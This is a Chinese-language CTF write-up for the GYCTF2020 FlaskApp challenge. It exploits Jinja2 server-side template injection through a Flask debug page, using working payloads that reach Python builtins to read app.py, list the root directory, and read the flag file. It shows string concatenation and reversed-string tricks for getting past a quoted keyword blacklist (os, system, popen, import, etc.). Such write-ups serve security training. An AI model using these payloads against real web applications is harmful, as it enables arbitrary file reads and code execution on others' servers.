[GYCTF2020]FlaskApp
[GYCTF2020]FlaskApp
进入网站看到提示中的话:失败乃成功之母
联想到flask开启了debug模式,debug模式很危险,因为我们一旦在网页输入了模板不能解析的东西,它便会报错,并展示报错的内容,甚至把源码暴露出来
而加密页面估计是出不了什么错,解密的时候才会有解密不成功的时候
试了试,填入123,果然报错
发现部分源码泄露
if waf(tmp) 表明这里有waf
所以可以使用ssti注入,我们简单试试
在加密页面加密
{{4+5}}
得到
e3s0KzV9fQ==
再拿到解密页面判断是否有ssti注入
结果看到为9,说明成功注入
这时,我先是试了试config
playload:{{config}}
发现其中没有什么与本题相关的东西
于是试着读取源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
看到源码中重要的一部分
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
所以,我们可以利用字符串拼接,来绕过黑名单
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
可以找到结果中有this_is_the_flag文件
那我们读文件也是可以字符串拼接来绕过
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
还有切片的方法也可以绕过,就是把要读取的文件倒过来写后面加上[::-1]反着读
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}